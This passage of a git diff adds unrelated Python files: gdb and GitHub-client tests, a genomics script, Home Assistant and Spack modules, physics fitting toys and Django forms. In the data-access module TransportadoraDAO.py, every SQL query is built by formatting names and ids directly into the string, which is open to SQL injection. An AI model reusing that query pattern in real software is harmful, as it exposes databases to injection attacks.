__name__ == '__main__': + main() diff --git a/pool/shard009/Python/0082744_test_percpu.py b/pool/shard009/Python/0082744_test_percpu.py new file mode 100644 index 0000000000000000000000000000000000000000..09304261a9bb13f4b9d666b7df30f53298eb7f0c --- /dev/null +++ b/pool/shard009/Python/0082744_test_percpu.py @@ -0,0 +1,111 @@ +# -*- coding: utf-8 -*- +# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79: + +from __future__ import print_function +from __future__ import absolute_import +from __future__ import division + +import unittest +import gdb +import sys + +import crash +import crash.types.percpu + +if sys.version_info.major >= 3: + long = int + +class TestPerCPU(unittest.TestCase): + def setUp(self): + gdb.execute("file tests/test-percpu", to_string=True) + + try: + gdb.execute("set build-id-verbose 0") + print() + print("--- Unsuppressable gdb output ---", end='') + + gdb.execute("run", to_string=False) + msym = gdb.lookup_minimal_symbol('__per_cpu_load') + self.baseaddr = msym.value().address + self.test_struct = gdb.lookup_type("struct test_struct") + self.ulong_type = gdb.lookup_type("long unsigned int") + self.voidp = gdb.lookup_type("void").pointer() + except gdb.error as e: + # If we don't tear it down, the rest of the tests in + # other files will fail due to it using the wrong core file + self.tearDown() + raise(e) + + def tearDown(self): + try: + gdb.execute("detach", to_string=True) + except gdb.error: + print() + pass + print("--- End gdb output ---") + + def test_struct_test(self): + var = gdb.lookup_symbol('struct_test', None)[0] + self.assertTrue(var is not None) + for cpu, val in list(crash.types.percpu.get_percpu_var(var).items()): + self.assertTrue(val['x'] == cpu) + self.assertTrue(val.type == self.test_struct) + + def test_ulong_test(self): + var = gdb.lookup_symbol('ulong_test', None)[0] + self.assertTrue(var is not None) + for cpu, val in list(crash.types.percpu.get_percpu_var(var).items()): + self.assertTrue(val == cpu) + self.assertTrue(val.type == self.ulong_type) + + def test_ulong_ptr_test(self): + var = gdb.lookup_symbol('ptr_to_ulong_test', None)[0] + self.assertTrue(var is not None) + for cpu, val in list(crash.types.percpu.get_percpu_var(var).items()): + self.assertTrue(val.type == self.ulong_type.pointer()) + self.assertTrue(val.dereference() == cpu) + + def test_voidp_test(self): + var = gdb.lookup_symbol('voidp_test', None)[0] + self.assertTrue(var is not None) + for cpu, val in list(crash.types.percpu.get_percpu_var(var).items()): + self.assertTrue(val is not None) + self.assertTrue(val.type == self.voidp) + self.assertTrue(long(val) == 0xdeadbeef) + + def test_struct_test_ptr(self): + var = gdb.lookup_symbol('ptr_to_struct_test', None)[0] + self.assertTrue(var is not None) + for cpu, val in list(crash.types.percpu.get_percpu_var(var).items()): + self.assertTrue(val['x'] == cpu) + self.assertTrue(val.type == self.test_struct.pointer()) + + # This is a saved pointer to an unbound percpu var + def test_percpu_ptr_sym(self): + var = gdb.lookup_symbol('percpu_test', None)[0] + self.assertTrue(var is not None) + for cpu, val in list(crash.types.percpu.get_percpu_var(var).items()): + self.assertTrue(val.type == self.test_struct) + + # This is a pointer to an unbound percpu var + def test_percpu_ptr_val(self): + var = gdb.lookup_symbol('percpu_test', None)[0].value() + self.assertTrue(var is not None) + for cpu, val in list(crash.types.percpu.get_percpu_var(var).items()): + self.assertTrue(val.type == self.test_struct) + + # This is a saved pointer to an bound percpu var (e.g. normal ptr) + def test_non_percpu_sym(self): + var = gdb.lookup_symbol('non_percpu_test', None)[0] + self.assertTrue(var is not None) + with self.assertRaises(TypeError): + x = crash.types.percpu.get_percpu_var(var, 0) + self.assertTrue(var.value()['x'] == 0) + + # This is a pointer to an bound percpu var (e.g. normal ptr) + def test_non_percpu_ptr(self): + var = gdb.lookup_symbol('non_percpu_test', None)[0].value() + self.assertTrue(var is not None) + with self.assertRaises(TypeError): + x = crash.types.percpu.get_percpu_var(var, 0) + self.assertTrue(var['x'] == 0) diff --git a/pool/shard009/Python/0082746_TransportadoraDAO.py b/pool/shard009/Python/0082746_TransportadoraDAO.py new file mode 100644 index 0000000000000000000000000000000000000000..9ec5cffb53e78e641988b97137fdbb672e5b1418 --- /dev/null +++ b/pool/shard009/Python/0082746_TransportadoraDAO.py @@ -0,0 +1,100 @@ +# -*- coding: utf-8 -*- + +from DAO.Connection import conn +from Model.TransportadoraModel import Transportadora + + +def list(): + query = "SELECT * FROM transportadora ORDER BY nome" + conn.cursor.execute(query) + + if not conn.cursor.rowcount: + print "Nenhum dado encontrado" + return + + transportadoras = [] + columns = [i[0] for i in conn.cursor.description] + + for row in conn.cursor.fetchall(): + transportadora = Transportadora() + transportadora.from_db(columns, row) + transportadoras.append(transportadora) + + return transportadoras + + +def find_by_name(name): + base_query = "SELECT * FROM transportadora WHERE nome = '{}'" + query = base_query.format(name) + conn.cursor.execute(query) + + if not conn.cursor.rowcount: + print "Nenhum dado encontrado" + return + + transportadoras = [] + columns = [i[0] for i in conn.cursor.description] + + for row in conn.cursor.fetchall(): + transportadora = Transportadora() + transportadora.from_db(columns, row) + transportadoras.append(transportadora) + + return transportadoras + + +def find_by_id(id): + base_query = "SELECT * FROM transportadora WHERE id = '{}'" + query = base_query.format(id) + conn.cursor.execute(query) + + if not conn.cursor.rowcount: + print "Nenhum dado encontrado" + return + + columns = [i[0] for i in conn.cursor.description] + row = conn.cursor.fetchone() + + transportadora = Transportadora() + transportadora.from_db(columns, row) + + return transportadora + + +def insert(transportadora): + base_query = "INSERT INTO transportadora (nome) VALUES ('{}')" + query = base_query.format(transportadora.nome) + + conn.cursor.execute(query) + + if not conn.cursor.rowcount: + print "Nenhum dado inserido" + return + + idTransportadora = conn.cursor.lastrowid + + conn.db.commit() + + +def update(transportadora): + base_query = "UPDATE transportadora SET nome = '{}' WHERE id = '{}'" + query = base_query.format(transportadora.nome, transportadora.id) + conn.cursor.execute(query) + + if not conn.cursor.rowcount: + print "Nenhum dado alterado" + return + + conn.db.commit() + + +def delete(transportadora): + base_query = "DELETE FROM transportadora WHERE id = '{}'" + query = base_query.format(transportadora.id) + conn.cursor.execute(query) + + if not conn.cursor.rowcount: + print "Nenhum dado apagado" + return + + conn.db.commit() diff --git a/pool/shard009/Python/0082749_createREFgenomesForPhasing.py b/pool/shard009/Python/0082749_createREFgenomesForPhasing.py new file mode 100644 index 0000000000000000000000000000000000000000..31876d11886b303d42098eaf389ffa1e0224d665 --- /dev/null +++ b/pool/shard009/Python/0082749_createREFgenomesForPhasing.py @@ -0,0 +1,122 @@ +#!/usr/bin/env python2 +''' +This script makes a references of two parental genomes by summarizing alleles. + +inputfile: +#CHROM POS REF ALT ind1 ind2 ind3 ind4 +scaffold_1 1 A T ./. ./. A/A A/A +scaffold_1 12 G A,* A/A A/A G/G G/G +scaffold_1 54 C T,* */* */* C/T C/C +scaffold_1 81 T TA TA/TA TA/TA T/T T/T + +outputfile: +#CHROM POS Species1 Species2 +scaffold_1 12 A G +scaffold_1 54 * C,T +scaffold_1 81 TA T + +command: +python createREFgenomesForPhasing.py -i inputfile -o outputfile -s1 ind1,ind2 -s2 ind3,ind4 -m 0.1 + +contact Dmytro Kryvokhyzha dmytro.kryvokhyzha@evobio.eu +''' + +import argparse, re, collections, sys + +############################ options ############################## + +class CommandLineParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +parser = CommandLineParser() +parser.add_argument('-i', '--input', help = 'name of the input file', type=str, required=True) +parser.add_argument('-o', '--output', help = 'name of the output file', type=str, required=True) +parser.add_argument('-s1', '--samples1', help = 'column names of the species A (comma delimited)', type=str, required=True) +parser.add_argument('-s2', '--samples2', help = 'column names of the species B (comma delimited)', type=str, required=True) +parser.add_argument('-m', '--missingness', help = 'allowed fraction of missing data per site per species', type=float, required=True) +args = parser.parse_args() + +############################ functions ########################### + +def index_sample(header, samplList): + ''' index position of samples in file ''' + ind_names = [str(j) for j in re.findall(r'[^,\s]+', samplList)] + ind_index = [] + for i in ind_names: + indnumber = header.index(i) + ind_index.append(indnumber) + return ind_index + +def extract_genotypes(genotypes, ind_index): + ''' extract genotypes using samples index ''' + alleles = [] + for g in ind_index: + alleles.append(genotypes[g]) + # remove missing data: + allelesNoNs = [x for x in alleles if not (x == './.')] + # split alleles: + allelesNoNsSplit = [i for sublist in [i.split("/") for i in allelesNoNs] for i in sublist] + return allelesNoNsSplit, len(alleles), len(allelesNoNs) + +############################ script ############################## + +miss = args.missingness +counter = 0 +counterProcessed = 0 +counterMissing = 0 + +print('Opening the file...') +with open(args.input) as datafile: + header_line = datafile.readline() + header_words = header_line.split() + + # index samples of the two species + ind_sp1 = index_sample(header_words, args.samples1) + ind_sp2 = index_sample(header_words, args.samples2) + + print('Creating the output file...') + sp12_output = open(args.output, 'w') + sp12_output.write("#CHROM\tPOS\tSpecies1\tSpecies2\n") + + print('Creating reference genomes...') + for line in datafile: + words = line.split() + chr_pos = words[0:2] + rowName = '\t'.join(str(e) for e in chr_pos) # make chr pos row names + + # extract genotypes using samples index + sp1_alleles = extract_genotypes(words, ind_sp1) + sp2_alleles = extract_genotypes(words, ind_sp2) + sp1_alleles_noNSplit = sp1_alleles[0] + sp2_alleles_noNSplit = sp2_alleles[0] + len_sp1_alleles = float(sp1_alleles[1]) + len_sp2_alleles = float(sp2_alleles[1]) + len_sp1_alleles_noN = float(sp1_alleles[2]) + len_sp2_alleles_noN = float(sp2_alleles[2]) + + # if missing data filter is passed, output the genotypes + if len_sp1_alleles_noN >= len_sp1_alleles*miss and len_sp2_alleles >= len_sp2_alleles*miss: + counterProcessed += 1 + sp1_allelesSet = set(sp1_alleles_noNSplit) + sp2_allelesSet = set(sp2_alleles_noNSplit) + sp1AltPrint = ','.join(str(al) for al in sp1_allelesSet) + sp2AltPrint = ','.join(str(al) for al in sp2_allelesSet) + sp12_output.write("%s\t%s\t%s\n" % (rowName, sp1AltPrint, sp2AltPrint)) + else: + counterMissing += 1 + + # track the progress: + counter += 1 + if counter % 1000000 == 0: + print str(counter), "lines processed" + +datafile.close() +sp12_output.close() +print('Done!\n') + +# print statistics on the screen +print str(counterProcessed), "sites processed" +print str(counterMissing), "sites with too many missing genotypes in both species\n" diff --git a/pool/shard009/Python/0082754_package.py b/pool/shard009/Python/0082754_package.py new file mode 100644 index 0000000000000000000000000000000000000000..0300649caef27cdd187f8ae0659c1e004f6f9f56 --- /dev/null +++ b/pool/shard009/Python/0082754_package.py @@ -0,0 +1,45 @@ +# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other +# Spack Project Developers. See the top-level COPYRIGHT file for details. +# +# SPDX-License-Identifier: (Apache-2.0 OR MIT) + + +from spack import * + + +class Rocfft(CMakePackage): + """Radeon Open Compute FFT library""" + + homepage = "https://github.com/ROCmSoftwarePlatform/rocFFT/" + url = "https://github.com/ROCmSoftwarePlatform/rocfft/archive/rocm-3.5.0.tar.gz" + + maintainers = ['srekolam', 'arjun-raj-kuppala'] + + version('3.5.0', sha256='629f02cfecb7de5ad2517b6a8aac6ed4de60d3a9c620413c4d9db46081ac2c88') + + amdgpu_targets = ( + 'gfx701', 'gfx801', 'gfx802', 'gfx803', + 'gfx900', 'gfx906', 'gfx908', 'gfx1010', + 'gfx1011', 'gfx1012' + ) + + variant('build_type', default='Release', values=("Release", "Debug"), description='CMake build type') + variant('amdgpu_target', default='gfx701', multi=True, values=amdgpu_targets) + + depends_on('cmake@3:', type='build') + depends_on('rocm-cmake@3.5.0', type='build', when='@3.5.0') + depends_on('rocm-device-libs@3.5.0', type='build', when='@3.5.0') + + depends_on('hip@3.5.0', type=('build', 'link'), when='@3.5.0') + depends_on('comgr@3.5.0', type='build', when='@3.5.0') + + def setup_build_environment(self, env): + env.set('CXX', self.spec['hip'].hipcc) + + def cmake_args(self): + archs = ",".join(self.spec.variants['amdgpu_target'].value) + + args = [ + '-DCMAKE_CXX_FLAGS=--amdgpu-target={0}'.format(archs), + ] + return args diff --git a/pool/shard009/Python/0082755_nx584.py b/pool/shard009/Python/0082755_nx584.py new file mode 100644 index 0000000000000000000000000000000000000000..f77de7693cee68fa8913a8c782b0aa16277d4107 --- /dev/null +++ b/pool/shard009/Python/0082755_nx584.py @@ -0,0 +1,129 @@ +""" +homeassistant.components.sensor.nx584 +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Support for exposing nx584 elements as sensors. + +For more details about this platform, please refer to the documentation at +https://home-assistant.io/components/sensor.nx584/ +""" +import logging +import threading +import time + +import requests + +from homeassistant.components.binary_sensor import ( + SENSOR_CLASSES, BinarySensorDevice) + +REQUIREMENTS = ['pynx584==0.2'] +_LOGGER = logging.getLogger(__name__) + + +def setup_platform(hass, config, add_devices, discovery_info=None): + """Setup nx584 sensors.""" + from nx584 import client as nx584_client + + host = config.get('host', 'localhost:5007') + exclude = config.get('exclude_zones', []) + zone_types = config.get('zone_types', {}) + + if not all(isinstance(zone, int) for zone in exclude): + _LOGGER.error('Invalid excluded zone specified (use zone number)') + return False + + if not all(isinstance(zone, int) and ztype in SENSOR_CLASSES + for zone, ztype in zone_types.items()): + _LOGGER.error('Invalid zone_types entry') + return False + + try: + client = nx584_client.Client('http://%s' % host) + zones = client.list_zones() + except requests.exceptions.ConnectionError as ex: + _LOGGER.error('Unable to connect to NX584: %s', str(ex)) + return False + + version = [int(v) for v in client.get_version().split('.')] + if version < [1, 1]: + _LOGGER.error('NX584 is too old to use for sensors (>=0.2 required)') + return False + + zone_sensors = { + zone['number']: NX584ZoneSensor( + zone, + zone_types.get(zone['number'], 'opening')) + for zone in zones + if zone['number'] not in exclude} + if zone_sensors: + add_devices(zone_sensors.values()) + watcher = NX584Watcher(client, zone_sensors) + watcher.start() + else: + _LOGGER.warning('No zones found on NX584') + + return True + + +class NX584ZoneSensor(BinarySensorDevice): + """Represents a NX584 zone as a sensor.""" + + def __init__(self, zone, zone_type): + self._zone = zone + self._zone_type = zone_type + + @property + def sensor_class(self): + return self._zone_type + + @property + def should_poll(self): + return False + + @property + def name(self): + return self._zone['name'] + + @property + def is_on(self): + # True means "faulted" or "open" or "abnormal state" + return self._zone['state'] + + +class NX584Watcher(threading.Thread): + """Event listener thread to process NX584 events.""" + + def __init__(self, client, zone_sensors): + super(NX584Watcher, self).__init__() + self.daemon = True + self._client = client + self._zone_sensors = zone_sensors + + def _process_zone_event(self, event): + zone = event['zone'] + zone_sensor = self._zone_sensors.get(zone) + # pylint: disable=protected-access + if not zone_sensor: + return + zone_sensor._zone['state'] = event['zone_state'] + zone_sensor.update_ha_state() + + def _process_events(self, events): + for event in events: + if event.get('type') == 'zone_status': + self._process_zone_event(event) + + def _run(self): + # Throw away any existing events so we don't replay history + self._client.get_events() + while True: + events = self._client.get_events() + if events: + self._process_events(events) + + def run(self): + while True: + try: + self._run() + except requests.exceptions.ConnectionError: + _LOGGER.error('Failed to reach NX584 server') + time.sleep(10) diff --git a/pool/shard009/Python/0082756_test_fitting_toys_simfit.py b/pool/shard009/Python/0082756_test_fitting_toys_simfit.py new file mode 100644 index 0000000000000000000000000000000000000000..6f87011f0543629100b36bb81fb73e76a441db91 --- /dev/null +++ b/pool/shard009/Python/0082756_test_fitting_toys_simfit.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# ============================================================================= +# Copyright (c) Ostap developers. +# ============================================================================= +# @file ostap/fitting/tests/test_fitting_toys_simfit.py +# Test toys+simfit +# ============================================================================= +""" Test toys + simfit +""" +# ============================================================================= +from builtins import range +# ============================================================================= +__author__ = "Ostap developers" +__all__ = () ## nothing to import +# ============================================================================= +import ROOT, random +# ============================================================================= +import ostap.fitting.roofit +import ostap.fitting.models as Models +from ostap.core.core import dsID +from ostap.logger.utils import rooSilent +import ostap.fitting.toys as Toys +from ostap.utils.timing import timing +from ostap.plotting.canvas import use_canvas +from ostap.utils.utils import wait +# ============================================================================= +# logging +# ============================================================================= +from ostap.logger.logger import getLogger +if '__main__' == __name__ or '__builtin__' == __name__ : + logger = getLogger ( 'test_fitting_simfit1' ) +else : + logger = getLogger ( __name__ ) + + +# ============================================================================= +def test_toys_simfit_1 () : + + logger = getLogger ( 'test_toys_simfit_1' ) + + ## make simple test mass + mass = ROOT.RooRealVar ( 'test_mass' , 'Some test mass' , 0 , 5 ) + + ## book very simple data set: + varset1 = ROOT.RooArgSet ( mass ) + dataset1 = ROOT.RooDataSet ( dsID() , 'Test Data set-1' , varset1 ) + + ## book very simple data set: + varset2 = ROOT.RooArgSet ( mass ) + dataset2 = ROOT.RooDataSet ( dsID() , 'Test Data set-2' , varset2 ) + + ## high statistic, low-background "control channel" + mean1 = 2.0 + sigma1 = 0.50 + NS1 = 1000 + NB1 = 250 + + for i in range ( NS1 ) : + v1 = random.gauss( mean1 , sigma1 ) + if v1 in mass : + mass.setVal ( v1 ) + dataset1.add ( varset1 ) + + for i in range ( NB1 ) : + v1 = random.uniform ( 0 , 5 ) + if v1 in mass : + mass.setVal ( v1 ) + dataset1.add ( varset1 ) + + ## low statistic, high-background "control channel" + NS2 = 250 + NB2 = 1000 + mean2 = mean1 + 1.0 + sigma2 = sigma1 * 0.5 + + for i in range(NS2) : + v2 = random.gauss( mean2 , sigma2 ) + if v2 in mass : + mass.setVal ( v2 ) + dataset2.add ( varset2 ) + for i in range ( NB2 ) : + v2 = random.uniform ( 0 , 5 ) + if v2 in mass : + mass.setVal ( v2 ) + dataset2.add ( varset2 ) + + + signal1 = Models.Gauss_pdf ( 'G1' , + xvar = mass , + mean = (0.5 , 2.5 ) , + sigma = (0.1 , 1.0 ) ) + + model1 = Models.Fit1D ( suffix = 'M1' , signal = signal1 , background = -1 ) + model1.S = NS1 + model1.B = NB1 + + mean2 = signal1.vars_add ( signal1.mean , 1.0 ) + sigma2 = signal1.vars_multiply ( signal1.sigma , 0.5 ) + + signal2 = Models.Gauss_pdf ( 'G2' , + xvar = mass , + mean = mean2 , + sigma = sigma2 ) + + model2 = Models.Fit1D ( suffix = 'M2' , signal = signal2 , background = model1.background ) + model2.S = NS2 + model2.B = NB2 + + with use_canvas ( 'test_toys_simfit_1' ) : + # ========================================================================= + ## fit 1 + with wait ( 1 ) : + r1 , f1 = model1.fitTo ( dataset1 , draw = True , nbins = 50 , silent = True ) + + ## fit 2 + with wait ( 1 ) : + r2 , f2 = model2.fitTo ( dataset2 , draw = True , nbins = 50 , silent = True ) + # ========================================================================= + + ## combine data + sample = ROOT.RooCategory ('sample','sample' , 'A' , 'B' ) + + ## combine datasets + from ostap.fitting.simfit import combined_data + vars = ROOT.RooArgSet ( mass ) + dataset = combined_data ( sample , vars , { 'A' : dataset1 , 'B' : dataset2 } ) + + ## combine PDFs + model_sim = Models.SimFit ( + sample , { 'A' : model1 , 'B' : model2 } , name = 'X' + ) + + # ========================================================================= + r , f = model_sim.fitTo ( dataset , silent = True ) + r , f = model_sim.fitTo ( dataset , silent = True ) + + + with use_canvas ( 'test_toys_simfit_1' ) : + with wait ( 1 ) : fA = model_sim.draw ( 'A' , dataset , nbins = 50 ) + with wait ( 1 ) : fB = model_sim.draw ( 'B' , dataset , nbins = 50 ) + + logger.info ( 'Fit results are: %s ' % r.table ( prefix = "# " ) ) + + ## Make toys + results , stats = Toys.make_toys ( + pdf = model_sim , + nToys = 100 , + data = [ mass ] , + gen_config = { 'nEvents' : ( NS1 + NB1 , NS2 + NB2 ) , 'sample' : True } , + fit_config = { 'silent' : True } , + init_pars = { 'mean_G1' : mean1 , 'BM1' : NB1 , 'BM2' : NB2 , + 'sigma_G1' : sigma1 , 'SM1' : NS1 , 'SM2' : NS2 , + 'phi0_Bkg_FitG1_M1' : 0 + } , + silent = True , + progress = True ) + +# ============================================================================= +if '__main__' == __name__ : + + with timing ( "simfit-1" , logger ) : + test_toys_simfit_1 () + +# ============================================================================= +## The END +# ============================================================================= diff --git a/pool/shard009/Python/0082761_test_client.py b/pool/shard009/Python/0082761_test_client.py new file mode 100644 index 0000000000000000000000000000000000000000..2f303b92602b1f9149d388dd5670cc065676b64a --- /dev/null +++ b/pool/shard009/Python/0082761_test_client.py @@ -0,0 +1,105 @@ +# encoding: utf-8 + +import mock + +from tornado.httpclient import AsyncHTTPClient +from tornado.testing import AsyncTestCase + +from ..client import AsyncGitHubClient +from ....utils import quote + + +class GithubClientTest(AsyncTestCase): + """Tests that the github API client makes the correct http requests.""" + def setUp(self): + super(GithubClientTest, self).setUp() + # Need a mock HTTPClient for the github client to talk to. + self.http_client = mock.create_autospec(AsyncHTTPClient) + + # patch the enviornment so that we get a known url prefix. + with mock.patch('os.environ.get', return_value='https://api.github.com/'): + self.gh_client = AsyncGitHubClient(client=self.http_client) + + def _get_url(self): + """Get the last url requested from the mock http client.""" + args, kw = self.http_client.fetch.call_args + return args[0] + + def assertStartsWith(self, string, beginning): + """Assert that a url has the correct beginning. + + Github API requests involve non-trivial query strings. This is useful + when you want to compare URLs, but don't care about the querystring. + """ + if string.startswith(beginning): + return + self.assertTrue(string.startswith(beginning), + '%s does not start with %s' % (string, beginning)) + + def test_basic_fetch(self): + """Test the mock http client is hit""" + self.gh_client.fetch('https://api.github.com/url') + self.assertTrue(self.http_client.fetch.called) + + def test_fetch_params(self): + """Test params are passed through.""" + params = {'unique_param_name': 1} + self.gh_client.fetch('https://api.github.com/url', params=params) + url = self._get_url() + self.assertTrue('unique_param_name' in url) + + def test_log_rate_limit(self): + pass + + def test_get_repos(self): + self.gh_client.get_repos('username') + url = self._get_url() + self.assertStartsWith(url, 'https://api.github.com/users/username/repos') + + def test_get_contents(self): + user = 'username' + repo = 'my_awesome_repo' + path = u'möre-path' + self.gh_client.get_contents(user, repo, path) + url = self._get_url() + correct_url = u'https://api.github.com' + quote(u'/repos/username/my_awesome_repo/contents/möre-path') + self.assertStartsWith(url, correct_url) + + def test_get_branches(self): + user = 'username' + repo = 'my_awesome_repo' + self.gh_client.get_branches(user, repo) + url = self._get_url() + correct_url = 'https://api.github.com/repos/username/my_awesome_repo/branches' + self.assertStartsWith(url, correct_url) + + def test_get_tags(self): + user = 'username' + repo = 'my_awesome_repo' + self.gh_client.get_tags(user, repo) + url = self._get_url() + correct_url = 'https://api.github.com/repos/username/my_awesome_repo/tags' + self.assertStartsWith(url, correct_url) + + def test_get_tree_entry(self): + user = 'username' + repo = 'my_awesome_repo' + path = 'extra-path' + self.gh_client.get_tree_entry(user, repo, path) + url = self._get_url() + correct_url = 'https://api.github.com/repos/username/my_awesome_repo/git/trees/master' + self.assertStartsWith(url, correct_url) + + def test_get_gist(self): + gist_id = 'ap90avn23iovv2ovn2309n' + self.gh_client.get_gist(gist_id) + url = self._get_url() + correct_url = 'https://api.github.com/gists/' + gist_id + self.assertStartsWith(url, correct_url) + + def test_get_gists(self): + user = 'username' + self.gh_client.get_gists(user) + url = self._get_url() + correct_url = 'https://api.github.com/users/username/gists' + self.assertStartsWith(url, correct_url) diff --git a/pool/shard009/Python/0082762_flow_utils_test.py b/pool/shard009/Python/0082762_flow_utils_test.py new file mode 100644 index 0000000000000000000000000000000000000000..f118586fb1e13f4d7722472e421bd341632a11c7 --- /dev/null +++ b/pool/shard009/Python/0082762_flow_utils_test.py @@ -0,0 +1,83 @@ +#!/usr/bin/env python +"""Tests for flow utils classes.""" + + +from grr.lib import aff4 +from grr.lib import flags +from grr.lib import flow_utils +from grr.lib import rdfvalue +from grr.lib import test_lib + + +class TestInterpolatePath(test_lib.FlowTestsBaseclass): + """Tests for path interpolation.""" + + def setUp(self): + super(TestInterpolatePath, self).setUp() + # Set up client info + self.client = aff4.FACTORY.Open(self.client_id, mode="rw", token=self.token) + self.client.Set(self.client.Schema.SYSTEM("Windows")) + user_list = self.client.Schema.USER() + user_list.Append(username="test", + domain="TESTDOMAIN", + full_name="test user", + homedir="c:\\Users\\test", + last_logon=rdfvalue.RDFDatetime("2012-11-10")) + + user_list.Append(username="test2", + domain="TESTDOMAIN", + full_name="test user 2", + homedir="c:\\Users\\test2", + last_logon=100) + + self.client.AddAttribute(self.client.Schema.USER, user_list) + self.client.Close() + self.client = aff4.FACTORY.Open(self.client_id, token=self.token) + + def testBasicInterpolation(self): + """Test Basic.""" + path = "{systemroot}\\test" + new_path = flow_utils.InterpolatePath(path, self.client, users=None) + self.assertEqual(new_path.lower(), "c:\\windows\\test") + + new_path = flow_utils.InterpolatePath("{does_not_exist}", self.client) + self.assertEqual(new_path, "") + + def testUserInterpolation(self): + """User interpolation returns a list of paths.""" + path = "{homedir}\\dir" + new_path = flow_utils.InterpolatePath(path, self.client, users=["test"]) + self.assertEqual(new_path[0].lower(), "c:\\users\\test\\dir") + + path = "{systemroot}\\{last_logon}\\dir" + new_path = flow_utils.InterpolatePath(path, self.client, users=["test"]) + self.assertEqual(new_path[0].lower(), + "c:\\windows\\2012-11-10 00:00:00\\dir") + + path = "{homedir}\\a" + new_path = flow_utils.InterpolatePath(path, self.client, + users=["test", "test2"]) + self.assertEqual(len(new_path), 2) + self.assertEqual(new_path[0].lower(), "c:\\users\\test\\a") + self.assertEqual(new_path[1].lower(), "c:\\users\\test2\\a") + + new_path = flow_utils.InterpolatePath("{does_not_exist}", self.client, + users=["test"]) + self.assertEqual(new_path, []) + + def testInterpolateClientAttributes(self): + + path = rdfvalue.GlobExpression(u"%%Users.homedir%%\\.ssh") + + res = list(path.InterpolateClientAttributes(self.client)) + + self.assertEqual(len(res), 2) + self.assertTrue("c:\\Users\\test\\.ssh" in res) + self.assertTrue("c:\\Users\\test2\\.ssh" in res) + + +def main(argv): + test_lib.main(argv) + +if __name__ == "__main__": + flags.StartMain(main) diff --git a/pool/shard009/Python/0082769_forms.py b/pool/shard009/Python/0082769_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..46af0e150e44a3ba148acd15189839f92089c952 --- /dev/null +++ b/pool/shard009/Python/0082769_forms.py @@ -0,0 +1,42 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django import forms + +# TODO: Incluir geracao do hash para verificacao se pode ou nao revalidar o bloqueio + + +class DeleteForm(forms.Form): + + def __init__(self, id_obj=None, *args, **kwargs): + self._id = id_obj + super(DeleteForm, self).__init__(*args, **kwargs) + + idd = forms.CharField(widget=forms.HiddenInput) + hashe = forms.CharField(widget=forms.HiddenInput) + + def clean(self): + idd = self.cleaned_data.get('idd') + hashe = self.cleaned_data.get('hashe') + if not self._id == idd and not idd == hashe: + raise forms.ValidationError( + "Hash errado" + ) + + +class ReValidateForm(forms.Form): + + def __init__(self, id_obj=None, *args, **kwargs): + self._id = id_obj + super(ReValidateForm, self).__init__(*args, **kwargs) + + idd = forms.CharField(widget=forms.HiddenInput) + hashe = forms.CharField(widget=forms.HiddenInput) + + def clean(self): + idd = self.cleaned_data.get('idd') + hashe = self.cleaned_data.get('hashe') + if not self._id == idd and not idd == hashe: + raise forms.ValidationError( + "Hash errado" + ) diff --git a/pool/shard009/Python/0082777_seal_ring.py b/pool/shard009/Python/0082777_seal_ring.py new file mode 100644 index 0000000000000000000000000000000000000000..3a92049bd65b8ed6691d37e3b53ad752ab61b8e4 --- /dev/null +++ b/pool/shard009/Python/0082777_seal_ring.py @@ -0,0 +1,87 @@ +from typing import Tuple, Union + +from numpy import array + +import gdsfactory as gf +from gdsfactory.components.contact import contact +from gdsfactory.components.rectangle import rectangle +from gdsfactory.snap import snap_to_grid + +Coordinate = Union[Tuple[float, float], array] + + +@gf.cell_without_validator +def seal_ring( + bbox: Tuple[Coordinate, Coordinate] = ((-1.0, -1.0), (3.0, 4.0)), + seal: gf.types.ComponentFactory = contact, + width: float = 10, + padding: float = 10.0, + with_north: bool = True, + with_south: bool = True, + with_east: bool = True, + with_west: bool = True, +) -> gf.Component: + """Returns a continuous seal ring boundary at the chip/die + seal rings are useful to prevents cracks from spreading + you can connect it to ground + + Args: + bbox: to add seal ring around. You can pass Component.bbox + seal: function for the seal + width: of the seal + padding: from component to seal + with_north: includes seal + with_south: includes seal + with_east: includes seal + with_west: includes seal + + """ + + c = gf.Component() + (xmin, ymin), (xmax, ymax) = bbox + + x = (xmax + xmin) / 2 + + sx = xmax - xmin + sy = ymax - ymin + + snap = gf.partial(snap_to_grid, nm=2) + sx = snap(sx) + sy = snap(sy) + + ymin_north = snap(ymax + padding) + ymax_south = snap(ymax - sy - padding) + + # north south + size_north_south = (sx + 2 * padding + 2 * width, width) + size_east_west = (width, sy + 2 * padding) + + if with_north: + north = c << seal(size=size_north_south) + north.ymin = ymin_north + north.x = x + + if with_east: + east = c << seal(size=size_east_west) + east.xmin = xmax + padding + east.ymax = ymin_north + + if with_west: + west = c << seal(size=size_east_west) + west.xmax = xmin - padding + west.ymax = ymin_north + + if with_south: + south = c << seal(size=size_north_south) + south.ymax = ymax_south + south.x = x + + return c + + +if __name__ == "__main__": + big_square = gf.partial(rectangle, size=(1300, 2600)) + c = big_square() + c.unlock() + c << seal_ring(c.bbox + ((0, 0), (10, 0)), with_south=False) + c.show() diff --git a/pool/shard009/Python/0082780_storage.py b/pool/shard009/Python/0082780_storage.py new file mode 100644 index 0000000000000000000000000000000000000000..92a2b11afc03d096859fb0244f09e2229109c9ff --- /dev/null +++ b/pool/shard009/Python/0082780_storage.py @@ -0,0 +1,184 @@ +''' + xbmcswift2.storage + ~~~~~~~~~~~~~~~~~~ + + This module contains persistent storage classes. + + :copyright: (c) 2012 by Jonathan Beluch + :license: GPLv3, see LICENSE for more details. +''' +import os +import csv +import json +import time +try: + import cPickle as pickle +except ImportError: + import pickle +import shutil +import collections +from datetime import datetime +from xbmcswift2.logger import log + + +class _PersistentDictMixin(object): + ''' Persistent dictionary with an API compatible with shelve and anydbm. + + The dict is kept in memory, so the dictionary operations run as fast as + a regular dictionary. + + Write to disk is delayed until close or sync (similar to gdbm's fast mode). + + Input file format is automatically discovered. + Output file format is selectable between pickle, json, and csv. + All three serialization formats are backed by fast C implementations. + ''' + + def __init__(self, filename, flag='c', mode=None, file_format='pickle'): + self.flag = flag # r=readonly, c=create, or n=new + self.mode = mode # None or an octal 